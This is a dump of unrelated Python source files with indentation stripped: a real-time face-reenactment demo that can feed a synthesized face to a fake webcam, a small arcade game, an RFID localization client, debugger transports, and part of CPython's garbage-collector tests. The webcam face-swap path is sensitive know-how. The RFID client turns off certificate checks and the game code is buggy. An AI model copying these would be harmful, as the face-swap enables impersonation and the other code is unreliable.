opt.gpu_id = opt.gpu_ids[-1]
# Device to be used for MTCNN face detector
detector_device = 'cpu'
# Face bounding box margin
margin = 120
# How many frames from the target's training video
# to consider when gathering head pose and eye size statistics
n_frames_target_used = 1000
# How many of the first source frames to consider for eye size adaptation
# between source and target.
n_frames_init = 25
# For cuda initialization errors.
torch.multiprocessing.set_start_method('spawn', force=True)
# Initialize video renderer.
modelG = create_model(opt)
# Initialize NMFC renderer.
renderer = NMFCRenderer(opt)
# Initialize face detector.
detector = MTCNN(image_size=opt.loadSize, margin=margin,
post_process=False, device=detector_device)
# Initialize landmark extractor.
dlib_detector = dlib.get_frontal_face_detector()
dlib_predictor = dlib.shape_predictor('preprocessing/files/shape_predictor_68_face_landmarks.dat')
# Read the identity parameters from the target person.
id_params, _ = read_params('id', os.path.join(opt.dataroot,
'train', 'id_coeffs'), opt.target_name)
# Read camera parameters from target
t_cam_params, _ = read_params('cam', os.path.join(opt.dataroot,
'train', 'misc'), opt.target_name)
t_cam_params = t_cam_params[:n_frames_target_used]
# Read eye landmarks from target's video.
eye_landmarks_target = read_eye_landmarks(os.path.join(opt.dataroot,
'train', 'landmarks70'), opt.target_name)
eye_landmarks_target[0] = eye_landmarks_target[0][:n_frames_target_used]
eye_landmarks_target[1] = eye_landmarks_target[1][:n_frames_target_used]
# Setup camera capturing
window_name = 'Hea2Head Demo'
video_capture = cv2.VideoCapture(0)
video_capture.set(cv2.CAP_PROP_BUFFERSIZE, 2) # set double buffer for capture
fps = video_capture.get(cv2.CAP_PROP_FPS)
print("Video capture at {} fps.".format(fps))
proccesses = []
# Face tracker / detector
box_redecect_nframes = opt.box_redetect_nframes
box = None # Face bounding box, calculated by first frame
# Face reconstructor / NMFC renderer
nmfc = None # Current nmfc image
s_cam_params = [] # camera parameters of source video.
adapted_cam_params = [] # camera parameters of source video, adapted to target.
# Facial (eyes) landmarks detector
prev_eye_centres = None # Eye centres in previous frame
eye_landmarks = None # Final eye landmarks, send to video renderer.
eye_landmarks_source = [[], []] # Eye landmarks from n_frames_init first frames of source video.
eye_landmarks_source_queue = Queue() # Queue to write extracted eye landmarks from source video.
landmarks_success_queue = Queue() # Queue to write whether eye landmark detection was successful
frames_queue = Queue() # Queue for writing video frames, read by the landmark detector process.
# Process for running 68 + 2 landmark detection in parallel with Face reconstruction / NMFC renderering
proccess_eye_landmarks = Process(target=compute_eye_landmarks,
args=(dlib_detector, dlib_predictor, eye_landmarks_source_queue,
landmarks_success_queue, frames_queue))
proccess_eye_landmarks.start()
proccesses.append(proccess_eye_landmarks)
print('Launced landmark extractor!')
# Video renderer (GAN).
input_queue = torchQueue() # Queue of GAN's input
output_queue = torchQueue() # Queue of GAN's output
# Process for running the video renderer without waiting NMFC + eye lands creation.
proccess_video_renderer = torchProcess(target=compute_fake_video, args=(input_queue, output_queue, modelG, opt))
proccess_video_renderer.start()
proccesses.append(proccess_video_renderer)
print('Launced video renderer!')
camera = None
if opt.realtime:
try:
import pyfakewebcam
stream_id = opt.realtime_cam_id
webcam_width = webcam_height = opt.loadSize
camera = pyfakewebcam.FakeWebcam(f'/dev/video{stream_id}', webcam_width, webcam_height)
camera.print_capabilities()
print(f'Fake webcam created on /dev/video{stream_id}.')
except Exception as ex:
print('Fake webcam initialization failed:')
print(str(ex))
iter = 0
# Start main Process (Face reconstruction / NMFC renderering)
while True:
t0 = time.perf_counter()
try: # Read generated frames from video renderer's output Queue.
# Non-blocking
fake_frame, real_frame = output_queue.get_nowait()
result = np.concatenate([real_frame, fake_frame[..., ::-1]], axis=1)
# If output directory is specified save frames there.
if opt.demo_dir is not None:
result_path = os.path.join(opt.demo_dir, "{:06d}".format(iter) + '.png')
cv2.imwrite(result_path, result)
elif camera is not None:
camera.schedule_frame(fake_frame)
else:
cv2.imshow(window_name, result)
cv2.waitKey(1)
except queue.Empty: # If empty queue continue.
pass
# Read next frame
_, frame = video_capture.read()
# Crop the larger dimension of frame to make it square
frame = make_frame_square(frame)
if box_redecect_nframes > 0 and iter % box_redecect_nframes == 0:
box = None
# If no bounding box has been detected yet, run MTCNN (once in first frame)
if box is None:
box = detect_box(detector, frame)
# If no face detected exit.
if box is None:
break
# Crop frame at the point were the face was seen in the first frame.
frame = extract_face(frame, box, opt.loadSize, margin)
frame = tensor2npimage(frame)
frame = np.transpose(frame, (1, 2, 0))
# Send ROI frame to landmark detector, while the main Process performs face reconstruction.
frames_queue.put(frame)
# Get expression and pose, adapt pose and identity to target and render NMFC.
success, s_cam_params, adapted_cam_params, new_nmfc = \
compute_reconstruction(renderer, id_params, t_cam_params, s_cam_params,
adapted_cam_params, frame)
# Update the current NMFC if reconstruction was successful
if success:
nmfc = new_nmfc
# If not, use previous nmfc. If it does not exist, exit.
if not success and nmfc is None:
break
# Find eye centres using nmfc image.
eye_centres, prev_eye_centres = search_eye_centres([nmfc[:,:,::-1]], prev_eye_centres)
# Read Queue to get eye landmarks, if detection was successful.
if landmarks_success_queue.get():
eye_landmarks = eye_landmarks_source_queue.get()
# If not, use previous eye landmarks. If they do not exist, exit.
if eye_landmarks is None:
break
# If in first frames, determine the source-target eye size (height) ratio.
if iter < n_frames_init:
eye_landmarks_source[0].append(eye_landmarks[0])
eye_landmarks_source[1].append(eye_landmarks[1])
eye_ratios = compute_eye_landmarks_ratio(eye_landmarks_source,
eye_landmarks_target)
# Adapt the eye landmarks to the target face, by placing to the eyes centre
# and re-scaling their size to match the NMFC size and target eyes mean height (top-down distance).
eye_lands = adapt_eye_landmarks([[eye_landmarks[0]], [eye_landmarks[1]]], eye_centres, eye_ratios,
s_cam_params[-1:], adapted_cam_params[-1:])
# Send the conditional input to video renderer
input_queue.put((nmfc, eye_lands[0], frame))
iter += 1
# Show frame rate.
t1 = time.perf_counter()
dt = t1 - t0
print('fps: %0.2f' % (1/dt))
# Terminate proccesses and join
for process in proccesses:
process.terminate()
process.join()
renderer.clear()
print('Main process exiting')
if __name__ == '__main__':
main()
|
rabbit.py | """
Sprite thanks:
https://opengameart.org/content/knight-sprite
https://opengameart.org/content/bunny-rabbit-lpc-style-for-pixelfarm
https://opengameart.org/content/blood-splats
"""
import multiprocessing
import arcade
import slowclap as sc
SCREEN_WIDTH = 800
SCREEN_HEIGHT = 600
SPRITE_SCALING_PLAYER = 1.0
def sign(val):
try:
return val / abs(val)
except ZeroDivisionError:
return 0
def clap_listener(queue):
feed = sc.MicrophoneFeed()
detector = sc.AmplitudeDetector(feed, threshold=12000000)
for clap in detector:
print('clap!')
class MyGame(arcade.Window):
""" Main application class. """
def __init__(self, width, height):
super().__init__(width, height)
self.alive = True
arcade.set_background_color(arcade.color.AMAZON)
def setup(self):
# Set up your game here
self.player_list = arcade.SpriteList()
self.monster_list = arcade.SpriteList()
# Score
self.score = 0
self.won = False
self.player_sprite = arcade.Sprite("knight.png", SPRITE_SCALING_PLAYER)
self.player_sprite.center_x = 400 # Starting position
self.player_sprite.center_y = 400
self.player_list.append(self.player_sprite)
self.rabbit_sprite = arcade.Sprite("bunny.png", SPRITE_SCALING_PLAYER)
self.rabbit_sprite.center_x = 50 # Starting position
self.rabbit_sprite.center_y = 50
self.monster_list.append(self.rabbit_sprite)
self.physics_engine = arcade.PhysicsEngineSimple(
self.player_sprite, arcade.SpriteList())
self.clap_queue = multiprocessing.Queue()
self.clap_listener = multiprocessing.Process(
target=clap_listener, args=(self.clap_queue, ))
self.clap_listener.start()
def on_draw(self):
""" Render the screen. """
if self.alive and not self.won:
self.draw_game()
else:
self.draw_game_over()
def draw_game(self):
arcade.start_render()
self.player_list.draw()
self.monster_list.draw()
def update(self, delta_time):
""" All the logic to move, and the game logic goes here. """
for monster in self.monster_list:
monster.center_x += sign(self.player_sprite.center_x -
monster.center_x)
monster.center_y += sign(self.player_sprite.center_y -
monster.center_y)
caught = arcade.check_for_collision(self.player_sprite,
self.rabbit_sprite)
if caught:
self.alive = False
self.player_sprite.texture = arcade.load_texture(
'bloodsplats_0004.png')
self.player_list.draw()
self.monster_list.draw()
self.physics_engine.update()
if self.player_sprite.center_x > SCREEN_WIDTH:
self.won = True
self.score += 100
while not self.clap_queue.empty():
self.clap_queue.get()
self.player_sprite.center_x += MOVEMENT_SPEED
MOVEMENT_SPEED = 2
def on_key_press(self, key, modifiers):
"""Called whenever a key is pressed. """
if (key == arcade.key.SPACE):
self.alive = True
self.won = False
self.setup()
if not self.alive:
return
if key == arcade.key.UP:
self.player_sprite.change_y = self.MOVEMENT_SPEED
elif key == arcade.key.DOWN:
self.player_sprite.change_y = -self.MOVEMENT_SPEED
elif key == arcade.key.LEFT:
self.player_sprite.change_x = -self.MOVEMENT_SPEED
elif key == arcade.key.RIGHT:
self.score += 1
self.player_sprite.change_x = self.MOVEMENT_SPEED
def on_key_release(self, key, modifiers):
"""Called when the user releases a key. """
if key == arcade.key.UP or key == arcade.key.DOWN:
self.player_sprite.change_y = 0
elif key == arcade.key.LEFT or key == arcade.key.RIGHT:
self.player_sprite.change_x = 0
def draw_game_over(self):
"""
Draw "Game over" across the screen.
"""
output = "RUN AWAY!!!"
arcade.draw_text(output, 200, 500, arcade.color.WHITE, 54)
if self.won:
output = "You have escaped!"
arcade.draw_text(output, 80, 400, arcade.color.WHITE, 54)
output = "<space> to start"
arcade.draw_text(output, 250, 100, arcade.color.WHITE, 24)
arcade.draw_text(str(self.score), 700, 50, arcade.color.WHITE, 24)
def main():
game = MyGame(SCREEN_WIDTH, SCREEN_HEIGHT)
game.setup()
arcade.run()
if __name__ == "__main__":
main()
|
impinj_xarray_itemsense_localization.py | from interrogator import *
import requests
import base64
import threading
import json
import sys
from httplib2 import Http
import os
import queue
from time import sleep
import collections
import dateutil.parser
class ImpinjXArray(Interrogator):
def __init__(self, _ip_address, _db_host, _db_password, _cert_path, _debug, _apiusername, _apipassword, _dispatchsleep=0, _recipe='IMPINJ_Fast_Location', _facility='MESS'):
Interrogator.__init__(self, _db_host, _db_password,
_cert_path, _debug, _dispatchsleep)
self.exiting = False
self.ip_address = _ip_address
self.baseurl = "http://%s/itemsense" % self.ip_address
self.apiusername = _apiusername
self.apipassword = _apipassword
if self.cert_path != 'NONE':
self.http_obj = Http(ca_certs=self.cert_path)
else:
self.http_obj = Http(disable_ssl_certificate_validation=True)
self.start_timestamp = -1
self.recipe = _recipe
self.facility = _facility
self.out('Initializing XArray Interrogator client')
def out(self, x):
if self.debug:
sys.stdout.write(str(x) + '\n')
def start_server(self):
self.out('Starting Impinj XArray Interrogator client')
self.tag_dicts_queue = queue.Queue()
self.handler_thread = threading.Thread(
target=self.handler_thread, args=())
self.handler_thread.start()
# Create Clients and set them to connect
authstr = "%s:%s" % (self.apiusername, self.apipassword)
basicenc = base64.b64encode(authstr.encode())
self.basicauth = 'Basic ' + basicenc.decode()
facility = self.facility #'MESS'
recipe = self.recipe #'IMPINJ_Fast_Location'
# Get a Token
url = self.baseurl + '/authentication/v1/token/' + self.apiusername
Headers = {}
Headers['Authorization'] = self.basicauth
response = requests.put(url, headers=Headers)
self.token = response.json()['token']
self.tokenauth = 'Token {"token":\"' + self.token + '\"}'
# Start a Job
url = self.baseurl + '/control/v1/jobs/start'
Data = {}
Data['startDelay'] = 'PT1S' # 1 second job start delay
Data['facility'] = facility
Data['recipeName'] = recipe
Headers = {}
Headers['Authorization'] = self.tokenauth
Headers['Content-Type'] = 'application/json'
response = requests.post(url, data=json.dumps(Data), headers=Headers)
# Job start will fail if there is already a running job; cycle through our jobs and end those RUNNING jobs with a facility and recipe name that match ours; note that if there is another RUNNING job from another facility or recipe, this will continue to fail, but it seems better not to stop someone else's job
if not ('id' in response.json()): # if id is not in response, need to stop existing running jobs
# Stop Running Jobs, then Re-Start the Job
url = self.baseurl + '/control/v1/jobs/show'
Headers = {}
Headers['Authorization'] = self.tokenauth
Headers['Content-Type'] = 'application/json'
response = requests.get(url, headers=Headers)
for j in response.json():
if j['job']['facility'].lower() == facility.lower() and j['job']['recipeName'].lower() == recipe.lower():
if j['status'].lower() == 'running':
url = self.baseurl + '/control/v1/jobs/stop/' + j['id']
Headers = {}
Headers['Content-Type'] = 'application/json'
Headers['Authorization'] = self.tokenauth
response = requests.post(url, headers=Headers)
# Re-Start the Job
url = self.baseurl + '/control/v1/jobs/start'
Data = {}
Data['startDelay'] = 'PT1S' # 1 second job start delay
Data['facility'] = facility
Data['recipeName'] = recipe
Headers = {}
Headers['Authorization'] = self.tokenauth
Headers['Content-Type'] = 'application/json'
response = requests.post(url, data=json.dumps(Data), headers=Headers)
jobId = response.json()['id'] # This will fail if the job did not start successfully, could handle more gracefully...
self.out("Job ID: %s" % jobId)
self.jobId = jobId
self.count = 0
while not self.exiting:
done = False
while (not done):
sleep(5)
url = self.baseurl + '/data/v1/items/show'
urlh = self.baseurl + '/data/v1/items/show/history'
Data = {}
Data['facility'] = facility
Data['jobId'] = jobId
Headers = {}
Headers['Content-Type'] = 'application/json'
Headers['Authorization'] = self.tokenauth
response = requests.get(
url, data=json.dumps(Data), headers=Headers)
# responseh = requests.get(
# urlh, data=json.dumps(Data), headers=Headers)
responsejson = response.json()
# responsehjson = responseh.json()
# self.out("==========================================================")
# self.out("DATA")
# self.out(response)
# self.out(response.text)
# self.out("==========================================================")
# self.out("timestamp\t\tepc\txLocation\tyLocation\tzLocation")
# t = 0
# for i in responsejson["items"]:
# self.out(t)
# t += 1
# timestamp = i['lastModifiedTime']
# epc = i['epc']
# x = i["xLocation"]
# y = i["yLocation"]
# self.out("%s\t%s\t%d\t\t%d" % (timestamp, epc[-4:], x, y))
# self.out("==========================================================")
# self.out("timestamp\t\tepc\txLocation\tyLocation")
# for i in responsehjson["history"]:
# timestamp = i['observationTime']
# epc = i['epc']
# x = i["toX"] if i["toX"] is not None else 0
# y = i["toY"] if i["toY"] is not None else 0
# self.out("%s\t%s\t%d\t\t%d" % (timestamp, epc[-4:], x, y))
# self.out("==========================================================")
# self.out("HISTORY")
# self.out(responseh)
# self.out(responseh.text)
if not "nextPageMarker" in responsejson:
done = True
elif responsejson['nextPageMarker'] is None:
done = True
else:
Data['pageMarker'] = responsejson['nextPageMarker']
self.tag_dicts_queue.put(responsejson)
self.count = self.count + 1
def handler_thread(self):
while not self.exiting:
responsearray = []
responsejson = self.tag_dicts_queue.get(block=True)
responsearray.append(responsejson)
# http://stackoverflow.com/questions/156360/get-all-items-from-thread-queue
# while we're here, try to pick up any more items that were inserted into the queue
while 1:
try:
responsejson = self.tag_dicts_queue.get_nowait()
responsearray.append(responsejson)
except queue.Empty:
break
self.insert_tag(responsearray)
def start(self):
self.out('XArray: start')
self.start_server()
def close_server(self):
self.exiting = True
# Stop the Job
url = self.baseurl + '/control/v1/jobs/stop/' + self.jobId
Headers = {}
Headers['Content-Type'] = 'application/json'
Headers['Authorization'] = self.tokenauth
response = requests.post(url, headers=Headers)
self.out(response)
# Revoke the Token
url = self.baseurl + '/authentication/v1/revokeToken'
Headers = {}
Headers['Content-Type'] = 'application/json'
Headers['Authorization'] = self.basicauth
Data = {}
Data['token'] = self.token
response = requests.put(url, headers=Headers, data=json.dumps(Data))
print(response)
def __del__(self):
self.close_server()
def insert_tag(self, tagarray):
input_dicts = []
if self.start_timestamp == -1:
min_timestamp = -1
for entry in tagarray:
items = entry['items']
for freeform in items:
# convert the timestamp from a string to numeric
timestamp = freeform['lastModifiedTime']
timestampdt = dateutil.parser.parse(timestamp)
timestampmicro = timestampdt.timestamp() * 1000
if int(timestampmicro) < min_timestamp or min_timestamp == -1:
min_timestamp = timestampmicro
self.start_timestamp = int(min_timestamp)
for entry in tagarray:
items = entry['items']
for freeform in items:
timestamp = freeform['lastModifiedTime']
epc = freeform['epc']
xPos = freeform["xLocation"]
yPos = freeform["yLocation"]
zPos = freeform["zLocation"]
# convert the timestamp from a string to numeric
timestampdt = dateutil.parser.parse(timestamp)
timestampmicro = timestampdt.timestamp() * 1000
self.out("Adding tag / collection %s with timestamp %s and epc %s and xPosition %s and yPosition %s and zPosition %s" % (
str(self.count), str(timestampmicro), str(epc), str(xPos), str(yPos), str(zPos)))
input_dict = dict()
input_dict['data'] = dict()
input_dict['data']['db_password'] = self.db_password
input_dict['data']['freeform'] = freeform
input_dict['data']['relative_time'] = int(timestampmicro) - self.start_timestamp
input_dict['data']['interrogator_time'] = timestampmicro
self.out("Input dict is: %s" % input_dict)
input_dicts.append(input_dict)
url = self.db_host + '/api/rssi'
resp, content = self.http_obj.request(uri=url, method='PUT', headers={
'Content-Type': 'application/json; charset=UTF-8'}, body=json.dumps(input_dicts))
if self.dispatchsleep > 0:
# if desired, sleep the dispatcher for a short time to queue up some inserts and give the producer some CPU time
sleep(self.dispatchsleep)
# Requires:
# easy_install httplib2 (not pip)
|
transports.py | from __future__ import annotations
from ..typecheck import *
from typing import IO
from ..import core
from .transport import Transport
import socket
import os
import subprocess
import threading
class Process:
processes: set[subprocess.Popen] = set()
@staticmethod
def cleanup_processes():
for self in Process.processes:
if self.poll() is not None:
core.info('killing process')
self.kill()
Process.processes.clear()
@staticmethod
def remove_finished_processes():
finished = []
for self in Process.processes:
if self.poll() is not None:
finished.append(self)
for f in finished:
Process.processes.remove(f)
@staticmethod
def add_subprocess(process: subprocess.Popen):
Process.remove_finished_processes()
Process.processes.add(process)
@staticmethod
async def check_output(command: list[str], cwd: str|None = None) -> bytes:
return await core.run_in_executor(lambda: subprocess.check_output(command, cwd=cwd))
def __init__(self, command: list[str], cwd: str|None = None):
# taken from Default/exec.py
# Hide the console window on Windows
startupinfo = None
if os.name == "nt":
startupinfo = subprocess.STARTUPINFO() #type: ignore
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW #type: ignore
self.process = subprocess.Popen(command,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
stdin=subprocess.PIPE,
shell=False,
bufsize=0,
startupinfo=startupinfo,
cwd = cwd)
Process.add_subprocess(self.process)
stdin = self.process.stdin; assert stdin
stderr = self.process.stderr; assert stderr
stdout = self.process.stdout; assert stdout
self.stdin = stdin
self.stderr = stderr
self.stdout = stdout
self.closed = False
def _readline(self, pipe: IO[bytes]) -> bytes:
if l := pipe.readline():
return l
raise EOFError
def _read(self, pipe: IO[bytes], n: int) -> bytes:
if l := pipe.read(n):
return l
raise EOFError
async def readline(self, pipe: IO[bytes]) -> bytes:
return await core.run_in_executor(lambda: self._readline(pipe))
async def read(self, pipe: IO[bytes], nbytes: int) -> bytes:
return await core.run_in_executor(lambda: self._read(pipe, nbytes))
def dispose(self):
self.closed = True
try:
self.process.kill()
except Exception:
core.exception()
class StdioTransport(Transport):
def __init__(self, log: core.Logger, command: list[str], cwd: str|None = None, stderr: Callable[[str], None] | None = None):
log.log('transport', f'⟸ process/starting :: {command}')
self.process = Process(command, cwd)
def log_stderr(data: str):
log.log('transport', f'⟸ process/stderr :: {data}')
if stderr:
stderr(data)
thread = threading.Thread(target=self._read, args=(self.process.stderr, log_stderr))
thread.start()
def _read(self, file: Any, callback: Callable[[str], None]) -> None:
while True:
try:
line = file.read(2**15).decode('UTF-8')
if not line:
core.info('Nothing to read from process, closing')
break
core.call_soon_threadsafe(callback, line)
except Exception as e:
core.exception()
break
self.process.dispose()
def write(self, message: bytes) -> None:
self.process.stdin.write(message)
self.process.stdin.flush()
def readline(self) -> bytes:
if l := self.process.stdout.readline():
return l
raise EOFError
def read(self, n: int) -> bytes:
if l := self.process.stdout.read(n):
return l
raise EOFError
def dispose(self) -> None:
self.process.dispose()
class SocketTransport(Transport):
def __init__(self, log: core.Logger, host: str, port: int, cwd: str|None = None):
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.connect((host, port))
self.stdin = self.socket.makefile('wb')
self.stdout = self.socket.makefile('rb')
def write(self, message: bytes) -> None:
self.stdin.write(message)
self.stdin.flush()
def readline(self) -> bytes:
if l := self.stdout.readline():
return l
raise EOFError
def read(self, n: int) -> bytes:
if l := self.stdout.read(n):
return l
raise EOFError
def dispose(self) -> None:
try:
self.socket.close()
except:
core.exception()
# class StdioSocketTransport(Transport):
# def __init__(self, regex: Any, port: int, log: core.Logger):
# self.process = adapter_process
# super().__init__(log, 'localhost', port)
# def log_stderr(data: str):
# log.log('transport', f'⟸ process/stderr :: {data}')
# thread = threading.Thread(target=self._read, args=(self.process.stderr, log_stderr))
# thread.start()
# def connect(self):
# adapter.SocketTransport
# def _read(self, file: Any, callback: Callable[[str], None]) -> None:
# while True:
# try:
# line = file.read(2**15).decode('UTF-8')
# if not line:
# core.info('Nothing to read from process, closing')
# break
# core.info(line)
# core.call_soon_threadsafe(callback, line)
# except Exception as e:
# core.exception()
# break
# def dispose(self) -> None:
# self.process.dispose() |
test_gc.py | import unittest
import unittest.mock
from test.support import (verbose, refcount_test, run_unittest,
cpython_only, start_threads,
temp_dir, TESTFN, unlink,
import_module)
from test.support.script_helper import assert_python_ok, make_script
import gc
import sys
import sysconfig
import textwrap
import threading
import time
import weakref
try:
from _testcapi import with_tp_del
except ImportError:
def with_tp_del(cls):
class C(object):
def __new__(cls, *args, **kwargs):
raise TypeError('requires _testcapi.with_tp_del')
return C
try:
from _testcapi import ContainerNoGC
except ImportError:
ContainerNoGC = None
### Support code
###############################################################################
# Bug 1055820 has several tests of longstanding bugs involving weakrefs and
# cyclic gc.
# An instance of C1055820 has a self-loop, so becomes cyclic trash when
# unreachable.
class C1055820(object):
def __init__(self, i):
self.i = i
self.loop = self
class GC_Detector(object):
# Create an instance I. Then gc hasn't happened again so long as
# I.gc_happened is false.
def __init__(self):
self.gc_happened = False
def it_happened(ignored):
self.gc_happened = True
# Create a piece of cyclic trash that triggers it_happened when
# gc collects it.
self.wr = weakref.ref(C1055820(666), it_happened)
@with_tp_del
class Uncollectable(object):
"""Create a reference cycle with multiple __del__ methods.
An object in a reference cycle will never have zero references,
and so must be garbage collected. If one or more objects in the
cycle have __del__ methods, the gc refuses to guess an order,
and leaves the cycle uncollected."""
def __init__(self, partner=None):
if partner is None:
self.partner = Uncollectable(partner=self)
else:
self.partner = partner
def __tp_del__(self):
pass
if sysconfig.get_config_vars().get('PY_CFLAGS', ''):
BUILD_WITH_NDEBUG = ('-DNDEBUG' in sysconfig.get_config_vars()['PY_CFLAGS'])
else:
# Usually, sys.gettotalrefcount() is only present if Python has been
# compiled in debug mode. If it's missing, expect that Python has
# been released in release mode: with NDEBUG defined.
BUILD_WITH_NDEBUG = (not hasattr(sys, 'gettotalrefcount'))
### Tests
###############################################################################
class GCTests(unittest.TestCase):
def test_list(self):
l = []
l.append(l)
gc.collect()
del l
self.assertEqual(gc.collect(), 1)
def test_dict(self):
d = {}
d[1] = d
gc.collect()
del d
self.assertEqual(gc.collect(), 1)
def test_tuple(self):
# since tuples are immutable we close the loop with a list
l = []
t = (l,)
l.append(t)
gc.collect()
del t
del l
self.assertEqual(gc.collect(), 2)
def test_class(self):
class A:
pass
A.a = A
gc.collect()
del A
self.assertNotEqual(gc.collect(), 0)
def test_newstyleclass(self):
class A(object):
pass
gc.collect()
del A
self.assertNotEqual(gc.collect(), 0)
def test_instance(self):
class A:
pass
a = A()
a.a = a
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
def test_newinstance(self):
class A(object):
pass
a = A()
a.a = a
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
class B(list):
pass
class C(B, A):
pass
a = C()
a.a = a
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
del B, C
self.assertNotEqual(gc.collect(), 0)
A.a = A()
del A
self.assertNotEqual(gc.collect(), 0)
self.assertEqual(gc.collect(), 0)
def test_method(self):
# Tricky: self.__init__ is a bound method, it references the instance.
class A:
def __init__(self):
self.init = self.__init__
a = A()
gc.collect()
del a
self.assertNotEqual(gc.collect(), 0)
@cpython_only
def test_legacy_finalizer(self):
# A() is uncollectable if it is part of a cycle, make sure it shows up
# in gc.garbage.
@with_tp_del
class A:
def __tp_del__(self): pass
class B:
pass
a = A()
a.a = a
id_a = id(a)
b = B()
b.b = b
gc.collect()
del a
del b
self.assertNotEqual(gc.collect(), 0)
for obj in gc.garbage:
if id(obj) == id_a:
del obj.a
break
else:
self.fail("didn't find obj in garbage (finalizer)")
gc.garbage.remove(obj)
@cpython_only
def test_legacy_finalizer_newclass(self):
# A() is uncollectable if it is part of a cycle, make sure it shows up
# in gc.garbage.
@with_tp_del
class A(object):
def __tp_del__(self): pass
class B(object):
pass
a = A()
a.a = a
id_a = id(a)
b = B()
b.b = b
gc.collect()
del a
del b
self.assertNotEqual(gc.collect(), 0)
for obj in gc.garbage:
if id(obj) == id_a:
del obj.a
break
else:
self.fail("didn't find obj in garbage (finalizer)")
gc.garbage.remove(obj)
def test_function(self):
# Tricky: f -> d -> f, code should call d.clear() after the exec to
# break the cycle.
d = {}
exec("def f(): pass\n", d)
gc.collect()
del d
self.assertEqual(gc.collect(), 2)
@refcount_test
def test_frame(self):
def f():
frame = sys._getframe()
gc.collect()
f()
self.assertEqual(gc.collect(), 1)
def test_saveall(self):
# Verify that cyclic garbage like lists show up in gc.garbage if the
# SAVEALL option is enabled.
# First make sure we don't save away other stuff that just happens to
# be waiting for collection.
gc.collect()
# if this fails, someone else created immortal trash
self.assertEqual(gc.garbage, [])
L = []
L.append(L)
id_L = id(L)
debug = gc.get_debug()
gc.set_debug(debug | gc.DEBUG_SAVEALL)
del L
gc.collect()
gc.set_debug(debug)
self.assertEqual(len(gc.garbage), 1)
obj = gc.garbage.pop()
self.assertEqual(id(obj), id_L)
def test_del(self):
# __del__ methods can trigger collection, make this to happen
thresholds = gc.get_threshold()
gc.enable()
gc.set_threshold(1)
class A:
def __del__(self):
dir(self)
a = A()
del a
gc.disable()
gc.set_threshold(*thresholds)
def test_del_newclass(self):
# __del__ methods can trigger collection, make this to happen
thresholds = gc.get_threshold()
gc.enable()
gc.set_threshold(1)
class A(object):
def __del__(self):
dir(self)
a = A()
del a
gc.disable()
gc.set_threshold(*thresholds)
# The following two tests are fragile:
# They precisely count the number of allocations,
# which is highly implementation-dependent.
# For example, disposed tuples are not freed, but reused.
# To minimize variations, though, we first store the get_count() results
# and check them at the end.
@refcount_test
def test_get_count(self):
gc.collect()
a, b, c = gc.get_count()
x = []
d, e, f = gc.get_count()
self.assertEqual((b, c), (0, 0))
self.assertEqual((e, f), (0, 0))
# This is less fragile than asserting that a equals 0.
self.assertLess(a, 5)
# Between the two calls to get_count(), at least one object was
# created (the list).
self.assertGreater(d, a)
@refcount_test
def test_collect_generations(self):
gc.collect()
# This object will "trickle" into generation N + 1 after
# each call to collect(N)
x = []
gc.collect(0)
# x is now in gen 1
a, b, c = gc.get_count()
gc.collect(1)
# x is now in gen 2
d, e, f = gc.get_count()
gc.collect(2)
# x is now in gen 3
g, h, i = gc.get_count()
# We don't check a, d, g since their exact values depends on
# internal implementation details of the interpreter.
self.assertEqual((b, c), (1, 0))
self.assertEqual((e, f), (0, 1))
self.assertEqual((h, i), (0, 0))
def test_trashcan(self):
class Ouch:
n = 0
def __del__(self):
Ouch.n = Ouch.n + 1
if Ouch.n % 17 == 0:
gc.collect()
# "trashcan" is a hack to prevent stack overflow when deallocating
# very deeply nested tuples etc. It works in part by abusing the
# type pointer and refcount fields, and that can yield horrible
# problems when gc tries to traverse the structures.
# If this test fails (as it does in 2.0, 2.1 and 2.2), it will
# most likely die via segfault.
# Note: In 2.3 the possibility for compiling without cyclic gc was
# removed, and that in turn allows the trashcan mechanism to work
# via much simpler means (e.g., it never abuses the type pointer or
# refcount fields anymore). Since it's much less likely to cause a
# problem now, the various constants in this expensive (we force a lot
# of full collections) test are cut back from the 2.2 version.
gc.enable()
N = 150
for count in range(2):
t = []
for i in range(N):
t = [t, Ouch()]
u = []
for i in range(N):
u = [u, Ouch()]
v = {}
for i in range(N):
v = {1: v, 2: Ouch()}
gc.disable()
def test_trashcan_threads(self):
# Issue #13992: trashcan mechanism should be thread-safe
NESTING = 60
N_THREADS = 2
def sleeper_gen():
"""A generator that releases the GIL when closed or dealloc'ed."""
try:
yield
finally:
time.sleep(0.000001)
class C(list):
# Appending to a list is atomic, which avoids the use of a lock.
inits = []
dels = []
def __init__(self, alist):
self[:] = alist
C.inits.append(None)
def __del__(self):
# This __del__ is called by subtype_dealloc().
C.dels.append(None)
# `g` will release the GIL when garbage-collected. This
# helps assert subtype_dealloc's behaviour when threads
# switch in the middle of it.
g = sleeper_gen()
next(g)
# Now that __del__ is finished, subtype_dealloc will proceed
# to call list_dealloc, which also uses the trashcan mechanism.
def make_nested():
"""Create a sufficiently nested container object so that the
trashcan mechanism is invoked when deallocating it."""
x = C([])
for i in range(NESTING):
x = [C([x])]
del x
def run_thread():
"""Exercise make_nested() in a loop."""
while not exit:
make_nested()
old_switchinterval = sys.getswitchinterval()
sys.setswitchinterval(1e-5)
try:
exit = []
threads = []
for i in range(N_THREADS):
t = threading.Thread(target=run_thread)
threads.append(t)
with start_threads(threads, lambda: exit.append(1)):
time.sleep(1.0)
finally:
sys.setswitchinterval(old_switchinterval)
gc.collect()
self.assertEqual(len(C.inits), len(C.dels))
def test_boom(self):
class Boom:
def __getattr__(self, someattribute):
del self.attr
raise AttributeError
a = Boom()
b = Boom()
a.attr = b
b.attr = a
gc.collect()
garbagelen = len(gc.garbage)
del a, b
# a<->b are in a trash cycle now. Collection will invoke
# Boom.__getattr__ (to see whether a and b have __del__ methods), and
# __getattr__ deletes the internal "attr" attributes as a side effect.
# That causes the trash cycle to get reclaimed via refcounts falling to
# 0, thus mutating the trash graph as a side effect of merely asking
# whether __del__ exists. This used to (before 2.3b1) crash Python.
# Now __getattr__ isn't called.
self.assertEqual(gc.collect(), 4)
self.assertEqual(len(gc.garbage), garbagelen)
def test_boom2(self):
class Boom2:
def __init__(self):
self.x = 0
def __getattr__(self, someattribute):
self.x += 1
